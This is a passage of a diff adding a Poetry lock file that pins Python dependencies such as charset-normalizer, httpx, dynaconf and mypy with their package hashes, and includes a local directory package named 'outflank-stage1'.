+files = [
+ {file = "charset-normalizer-3.1.0.tar.gz", hash = "sha256:34e0a2f9c370eb95597aae63bf85eb5e96826d81e3dcf88b8886012906f509b5"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e0ac8959c929593fee38da1c2b64ee9778733cdf03c482c9ff1d508b6b593b2b"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d7fc3fca01da18fbabe4625d64bb612b533533ed10045a2ac3dd194bfa656b60"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:04eefcee095f58eaabe6dc3cc2262f3bcd776d2c67005880894f447b3f2cb9c1"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:20064ead0717cf9a73a6d1e779b23d149b53daf971169289ed2ed43a71e8d3b0"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1435ae15108b1cb6fffbcea2af3d468683b7afed0169ad718451f8db5d1aff6f"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c84132a54c750fda57729d1e2599bb598f5fa0344085dbde5003ba429a4798c0"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75f2568b4189dda1c567339b48cba4ac7384accb9c2a7ed655cd86b04055c795"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:11d3bcb7be35e7b1bba2c23beedac81ee893ac9871d0ba79effc7fc01167db6c"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:891cf9b48776b5c61c700b55a598621fdb7b1e301a550365571e9624f270c203"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:5f008525e02908b20e04707a4f704cd286d94718f48bb33edddc7d7b584dddc1"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:b06f0d3bf045158d2fb8837c5785fe9ff9b8c93358be64461a1089f5da983137"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:49919f8400b5e49e961f320c735388ee686a62327e773fa5b3ce6721f7e785ce"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:22908891a380d50738e1f978667536f6c6b526a2064156203d418f4856d6e86a"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-win32.whl", hash = "sha256:12d1a39aa6b8c6f6248bb54550efcc1c38ce0d8096a146638fd4738e42284448"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:65ed923f84a6844de5fd29726b888e58c62820e0769b76565480e1fdc3d062f8"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9a3267620866c9d17b959a84dd0bd2d45719b817245e49371ead79ed4f710d19"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6734e606355834f13445b6adc38b53c0fd45f1a56a9ba06c2058f86893ae8017"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f8303414c7b03f794347ad062c0516cee0e15f7a612abd0ce1e25caf6ceb47df"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aaf53a6cebad0eae578f062c7d462155eada9c172bd8c4d250b8c1d8eb7f916a"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3dc5b6a8ecfdc5748a7e429782598e4f17ef378e3e272eeb1340ea57c9109f41"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e1b25e3ad6c909f398df8921780d6a3d120d8c09466720226fc621605b6f92b1"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ca564606d2caafb0abe6d1b5311c2649e8071eb241b2d64e75a0d0065107e62"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b82fab78e0b1329e183a65260581de4375f619167478dddab510c6c6fb04d9b6"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bd7163182133c0c7701b25e604cf1611c0d87712e56e88e7ee5d72deab3e76b5"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:11d117e6c63e8f495412d37e7dc2e2fff09c34b2d09dbe2bee3c6229577818be"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:cf6511efa4801b9b38dc5546d7547d5b5c6ef4b081c60b23e4d941d0eba9cbeb"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:abc1185d79f47c0a7aaf7e2412a0eb2c03b724581139193d2d82b3ad8cbb00ac"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cb7b2ab0188829593b9de646545175547a70d9a6e2b63bf2cd87a0a391599324"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-win32.whl", hash = "sha256:c36bcbc0d5174a80d6cccf43a0ecaca44e81d25be4b7f90f0ed7bcfbb5a00909"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:cca4def576f47a09a943666b8f829606bcb17e2bc2d5911a46c8f8da45f56755"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0c95f12b74681e9ae127728f7e5409cbbef9cd914d5896ef238cc779b8152373"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fca62a8301b605b954ad2e9c3666f9d97f63872aa4efcae5492baca2056b74ab"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac0aa6cd53ab9a31d397f8303f92c42f534693528fafbdb997c82bae6e477ad9"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c3af8e0f07399d3176b179f2e2634c3ce9c1301379a6b8c9c9aeecd481da494f"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a5fc78f9e3f501a1614a98f7c54d3969f3ad9bba8ba3d9b438c3bc5d047dd28"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:628c985afb2c7d27a4800bfb609e03985aaecb42f955049957814e0491d4006d"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:74db0052d985cf37fa111828d0dd230776ac99c740e1a758ad99094be4f1803d"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:1e8fcdd8f672a1c4fc8d0bd3a2b576b152d2a349782d1eb0f6b8e52e9954731d"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:04afa6387e2b282cf78ff3dbce20f0cc071c12dc8f685bd40960cc68644cfea6"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dd5653e67b149503c68c4018bf07e42eeed6b4e956b24c00ccdf93ac79cdff84"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d2686f91611f9e17f4548dbf050e75b079bbc2a82be565832bc8ea9047b61c8c"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-win32.whl", hash = "sha256:4155b51ae05ed47199dc5b2a4e62abccb274cee6b01da5b895099b61b1982974"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-win_amd64.whl", hash = "sha256:322102cdf1ab682ecc7d9b1c5eed4ec59657a65e1c146a0da342b78f4112db23"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e633940f28c1e913615fd624fcdd72fdba807bf53ea6925d6a588e84e1151531"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:3a06f32c9634a8705f4ca9946d667609f52cf130d5548881401f1eb2c39b1e2c"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7381c66e0561c5757ffe616af869b916c8b4e42b367ab29fedc98481d1e74e14"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3573d376454d956553c356df45bb824262c397c6e26ce43e8203c4c540ee0acb"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e89df2958e5159b811af9ff0f92614dabf4ff617c03a4c1c6ff53bf1c399e0e1"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:78cacd03e79d009d95635e7d6ff12c21eb89b894c354bd2b2ed0b4763373693b"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de5695a6f1d8340b12a5d6d4484290ee74d61e467c39ff03b39e30df62cf83a0"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1c60b9c202d00052183c9be85e5eaf18a4ada0a47d188a83c8f5c5b23252f649"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f645caaf0008bacf349875a974220f1f1da349c5dbe7c4ec93048cdc785a3326"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ea9f9c6034ea2d93d9147818f17c2a0860d41b71c38b9ce4d55f21b6f9165a11"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:80d1543d58bd3d6c271b66abf454d437a438dff01c3e62fdbcd68f2a11310d4b"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:73dc03a6a7e30b7edc5b01b601e53e7fc924b04e1835e8e407c12c037e81adbd"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6f5c2e7bc8a4bf7c426599765b1bd33217ec84023033672c1e9a8b35eaeaaaf8"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-win32.whl", hash = "sha256:12a2b561af122e3d94cdb97fe6fb2bb2b82cef0cdca131646fdb940a1eda04f0"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:3160a0fd9754aab7d47f95a6b63ab355388d890163eb03b2d2b87ab0a30cfa59"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:38e812a197bf8e71a59fe55b757a84c1f946d0ac114acafaafaf21667a7e169e"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6baf0baf0d5d265fa7944feb9f7451cc316bfe30e8df1a61b1bb08577c554f31"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:8f25e17ab3039b05f762b0a55ae0b3632b2e073d9c8fc88e89aca31a6198e88f"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3747443b6a904001473370d7810aa19c3a180ccd52a7157aacc264a5ac79265e"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b116502087ce8a6b7a5f1814568ccbd0e9f6cfd99948aa59b0e241dc57cf739f"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d16fd5252f883eb074ca55cb622bc0bee49b979ae4e8639fff6ca3ff44f9f854"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:21fa558996782fc226b529fdd2ed7866c2c6ec91cee82735c98a197fae39f706"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f6c7a8a57e9405cad7485f4c9d3172ae486cfef1344b5ddd8e5239582d7355e"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ac3775e3311661d4adace3697a52ac0bab17edd166087d493b52d4f4f553f9f0"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:10c93628d7497c81686e8e5e557aafa78f230cd9e77dd0c40032ef90c18f2230"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:6f4f4668e1831850ebcc2fd0b1cd11721947b6dc7c00bf1c6bd3c929ae14f2c7"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:0be65ccf618c1e7ac9b849c315cc2e8a8751d9cfdaa43027d4f6624bd587ab7e"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:53d0a3fa5f8af98a1e261de6a3943ca631c526635eb5817a87a59d9a57ebf48f"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-win32.whl", hash = "sha256:a04f86f41a8916fe45ac5024ec477f41f886b3c435da2d4e3d2709b22ab02af1"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:830d2948a5ec37c386d3170c483063798d7879037492540f10a475e3fd6f244b"},
+ {file = "charset_normalizer-3.1.0-py3-none-any.whl", hash = "sha256:3d9098b479e78c85080c98e1e35ff40b4a31d8953102bb0fd7d1b6f8a2111a3d"},
+]
+
+[[package]]
+name = "click"
+version = "8.1.3"
+description = "Composable command line interface toolkit"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "click-8.1.3-py3-none-any.whl", hash = "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"},
+ {file = "click-8.1.3.tar.gz", hash = "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e"},
+]
+
+[package.dependencies]
+colorama = {version = "*", markers = "platform_system == \"Windows\""}
+
+[[package]]
+name = "colorama"
+version = "0.4.6"
+description = "Cross-platform colored terminal text."
+category = "dev"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
+files = [
+ {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"},
+ {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"},
+]
+
+[[package]]
+name = "dynaconf"
+version = "3.1.12"
+description = "The dynamic configurator for your Python Project"
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "dynaconf-3.1.12-py2.py3-none-any.whl", hash = "sha256:a79d7b3ad4a35af9b576c49f11cd3b23a1b04b87b63a4e9f92cc82f2b0cafeeb"},
+ {file = "dynaconf-3.1.12.tar.gz", hash = "sha256:11a60bcd735f82b8a47b288f99e4ffbbd08c6c130a7be93c5d03e93fc260a5e1"},
+]
+
+[package.extras]
+all = ["configobj", "hvac", "redis", "ruamel.yaml"]
+configobj = ["configobj"]
+ini = ["configobj"]
+redis = ["redis"]
+test = ["codecov", "configobj", "django", "flake8", "flake8-debugger", "flake8-print", "flake8-todo", "flask (>=0.12)", "hvac", "pep8-naming", "pytest", "pytest-cov", "pytest-mock", "pytest-xdist", "python-dotenv", "radon", "redis", "toml"]
+toml = ["toml"]
+vault = ["hvac"]
+yaml = ["ruamel.yaml"]
+
+[[package]]
+name = "exceptiongroup"
+version = "1.1.1"
+description = "Backport of PEP 654 (exception groups)"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "exceptiongroup-1.1.1-py3-none-any.whl", hash = "sha256:232c37c63e4f682982c8b6459f33a8981039e5fb8756b2074364e5055c498c9e"},
+ {file = "exceptiongroup-1.1.1.tar.gz", hash = "sha256:d484c3090ba2889ae2928419117447a14daf3c1231d5e30d0aae34f354f01785"},
+]
+
+[package.extras]
+test = ["pytest (>=6)"]
+
+[[package]]
+name = "flake8"
+version = "5.0.4"
+description = "the modular source code checker: pep8 pyflakes and co"
+category = "dev"
+optional = false
+python-versions = ">=3.6.1"
+files = [
+ {file = "flake8-5.0.4-py2.py3-none-any.whl", hash = "sha256:7a1cf6b73744f5806ab95e526f6f0d8c01c66d7bbe349562d22dfca20610b248"},
+ {file = "flake8-5.0.4.tar.gz", hash = "sha256:6fbe320aad8d6b95cec8b8e47bc933004678dc63095be98528b7bdd2a9f510db"},
+]
+
+[package.dependencies]
+mccabe = ">=0.7.0,<0.8.0"
+pycodestyle = ">=2.9.0,<2.10.0"
+pyflakes = ">=2.5.0,<2.6.0"
+
+[[package]]
+name = "h11"
+version = "0.14.0"
+description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"},
+ {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"},
+]
+
+[[package]]
+name = "httpcore"
+version = "0.16.3"
+description = "A minimal low-level HTTP client."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "httpcore-0.16.3-py3-none-any.whl", hash = "sha256:da1fb708784a938aa084bde4feb8317056c55037247c787bd7e19eb2c2949dc0"},
+ {file = "httpcore-0.16.3.tar.gz", hash = "sha256:c5d6f04e2fc530f39e0c077e6a30caa53f1451096120f1f38b954afd0b17c0cb"},
+]
+
+[package.dependencies]
+anyio = ">=3.0,<5.0"
+certifi = "*"
+h11 = ">=0.13,<0.15"
+sniffio = ">=1.0.0,<2.0.0"
+
+[package.extras]
+http2 = ["h2 (>=3,<5)"]
+socks = ["socksio (>=1.0.0,<2.0.0)"]
+
+[[package]]
+name = "httpx"
+version = "0.23.3"
+description = "The next generation HTTP client."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "httpx-0.23.3-py3-none-any.whl", hash = "sha256:a211fcce9b1254ea24f0cd6af9869b3d29aba40154e947d2a07bb499b3e310d6"},
+ {file = "httpx-0.23.3.tar.gz", hash = "sha256:9818458eb565bb54898ccb9b8b251a28785dd4a55afbc23d0eb410754fe7d0f9"},
+]
+
+[package.dependencies]
+certifi = "*"
+httpcore = ">=0.15.0,<0.17.0"
+rfc3986 = {version = ">=1.3,<2", extras = ["idna2008"]}
+sniffio = "*"
+
+[package.extras]
+brotli = ["brotli", "brotlicffi"]
+cli = ["click (>=8.0.0,<9.0.0)", "pygments (>=2.0.0,<3.0.0)", "rich (>=10,<13)"]
+http2 = ["h2 (>=3,<5)"]
+socks = ["socksio (>=1.0.0,<2.0.0)"]
+
+[[package]]
+name = "idna"
+version = "3.4"
+description = "Internationalized Domain Names in Applications (IDNA)"
+category = "main"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"},
+ {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"},
+]
+
+[[package]]
+name = "iniconfig"
+version = "2.0.0"
+description = "brain-dead simple config-ini parsing"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"},
+ {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"},
+]
+
+[[package]]
+name = "mccabe"
+version = "0.7.0"
+description = "McCabe checker, plugin for flake8"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"},
+ {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"},
+]
+
+[[package]]
+name = "mypy"
+version = "0.971"
+description = "Optional static typing for Python"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "mypy-0.971-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"},
+ {file = "mypy-0.971-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5"},
+ {file = "mypy-0.971-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3"},
+ {file = "mypy-0.971-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655"},
+ {file = "mypy-0.971-cp310-cp310-win_amd64.whl", hash = "sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103"},
+ {file = "mypy-0.971-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca"},
+ {file = "mypy-0.971-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417"},
+ {file = "mypy-0.971-cp36-cp36m-win_amd64.whl", hash = "sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09"},
+ {file = "mypy-0.971-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8"},
+ {file = "mypy-0.971-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0"},
+ {file = "mypy-0.971-cp37-cp37m-win_amd64.whl", hash = "sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2"},
+ {file = "mypy-0.971-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27"},
+ {file = "mypy-0.971-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856"},
+ {file = "mypy-0.971-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71"},
+ {file = "mypy-0.971-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27"},
+ {file = "mypy-0.971-cp38-cp38-win_amd64.whl", hash = "sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58"},
+ {file = "mypy-0.971-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6"},
+ {file = "mypy-0.971-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe"},
+ {file = "mypy-0.971-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9"},
+ {file = "mypy-0.971-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf"},
+ {file = "mypy-0.971-cp39-cp39-win_amd64.whl", hash = "sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0"},
+ {file = "mypy-0.971-py3-none-any.whl", hash = "sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9"},
+ {file = "mypy-0.971.tar.gz", hash = "sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56"},
+]
+
+[package.dependencies]
+mypy-extensions = ">=0.4.3"
+tomli = {version = ">=1.1.0", markers = "python_version < \"3.11\""}
+typing-extensions = ">=3.10"
+
+[package.extras]
+dmypy = ["psutil (>=4.0)"]
+python2 = ["typed-ast (>=1.4.0,<2)"]
+reports = ["lxml"]
+
+[[package]]
+name = "mypy-extensions"
+version = "1.0.0"
+description = "Type system extensions for programs checked with the mypy type checker."
+category = "dev"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d"},
+ {file = "mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782"},
+]
+
+[[package]]
+name = "outflank-stage1"
+version = "0.1.0"
+description = ""
+category = "dev"
+optional = false
+python-versions = "*"
+files = []
+develop = false
+
+[package.dependencies]
+tabulate = "*"
+
+[package.source]
+type = "directory"
+url = "../../../lib/outflank_stage1"
+
+[[package]]
+name = "packaging"
+version = "23.0"
+description = "Core utilities for Python packages"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "packaging-23.0-py3-none-any.whl", hash = "sha256:714ac14496c3e68c99c29b00845f7a2b85f3bb6f1078fd9f72fd20f0570002b2"},
+ {file = "packaging-23.0.tar.gz", hash = "sha256:b6ad297f8907de0fa2fe1ccbd26fdaf387f5f47c7275fedf8cce89f99446cf97"},
+]
+
+[[package]]
+name = "pathspec"
+version = "0.11.1"
+description = "Utility library for gitignore style pattern matching of file paths."
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pathspec-0.11.1-py3-none-any.whl", hash = "sha256:d8af70af76652554bd134c22b3e8a1cc46ed7d91edcdd721ef1a0c51a84a5293"},
+ {file = "pathspec-0.11.1.tar.gz", hash = "sha256:2798de800fa92780e33acca925945e9a19a133b715067cf165b8866c15a31687"},
+]
+
+[[package]]
+name = "platformdirs"
+version = "3.1.1"
+description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"."
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "platformdirs-3.1.1-py3-none-any.whl", hash = "sha256:e5986afb596e4bb5bde29a79ac9061aa955b94fca2399b7aaac4090860920dd8"},
+ {file = "platformdirs-3.1.1.tar.gz", hash = "sha256:024996549ee88ec1a9aa99ff7f8fc819bb59e2c3477b410d90a16d32d6e707aa"},
+]
+
+[package.extras]
+docs = ["furo (>=2022.12.7)", "proselint (>=0.13)", "sphinx (>=6.1.3)", "sphinx-autodoc-typehints (>=1.22,!=1.23.4)"]
+test = ["appdirs (==1.4.4)", "covdefaults (>=2.2.2)", "pytest (>=7.2.1)", "pytest-cov (>=4)", "pytest-mock (>=3.10)"]
+
+[[package]]
+name = "pluggy"
+version = "1.0.0"
+description = "plugin and hook calling mechanisms for python"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
